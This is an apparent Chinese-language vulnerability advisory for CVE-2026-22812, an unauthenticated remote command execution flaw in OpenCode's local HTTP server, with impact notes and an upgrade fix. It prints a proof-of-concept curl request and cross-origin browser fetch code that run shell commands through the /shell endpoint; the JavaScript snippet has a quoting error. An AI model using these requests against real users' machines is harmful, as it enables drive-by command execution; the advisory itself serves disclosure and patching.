当前位置:首页>java>【漏洞预警】OpenCode 远程代码执行漏洞(CVE-2026-22812)

【漏洞预警】OpenCode 远程代码执行漏洞(CVE-2026-22812)

  • 2026-10-22 05:43:20
【漏洞预警】OpenCode 远程代码执行漏洞(CVE-2026-22812)

1、漏洞信息

免责声明

  本文内容仅用于学习交流自查使用,请勿利用本文提到的相关技术从事非法测试。由于传播、利用本文所提供的信息而造成的任何直接或者间接的后果及损失,均由使用者本人负责,所产生的一切不良后果与文章作者无关。

漏洞信息表

       OpenCode 会默认启动一个未经身份验证的 HTTP 服务器,允许未经授权的远程攻击者通过本地进程或宽松的 CORS 策略的网站以用户的权限执行任意 shell 命令。目前该漏洞PoC和技术细节已公开。鉴于该漏洞影响范围较大,建议尽快做好自查及防护。

2、漏洞影响

本地利用:任何恶意的 npm 包、脚本或被攻破的应用程序都可以作为运行 OpenCode 的用户执行命令。

curl -s -X POST "$API/session/$SESSION_ID/shell" -H "Content-Type: application/json" \
  -d '{"agent": "build", "command": "echo vuln exist!!! > /tmp/pwned.txt"}'|cat pwned.txt
浏览器跨域利用:任何网站都可以对运行OpenCode的访客执行命令。这使得通过恶意广告、被攻破的网站或钓鱼页面发动“路过”攻击成为可能。
// firefox浏览器
fetch('http://127.0.0.1:4096/session', {
  method: 'POST',
  headers: {'Content-Type': 'application/json'},
  body: '{}'
})
.then(r => r.json())
.then(session => {
  fetch(`http://127.0.0.1:4096/session/${session.id}/shell`, {
    method: 'POST',
    headers: {'Content-Type': 'application/json'},
    body: JSON.stringify({agent: 'build', command: 'whoami' > /tmp/pwned.txt'})
  });
});

3、修复建议

  1. 1.官方已发布安全补丁,请及时更新至最新版本:Opencode >= 1.0.216

    下载地址:https://github.com/anomalyco/opencode/releases。

4、联系我们

最新文章

随机文章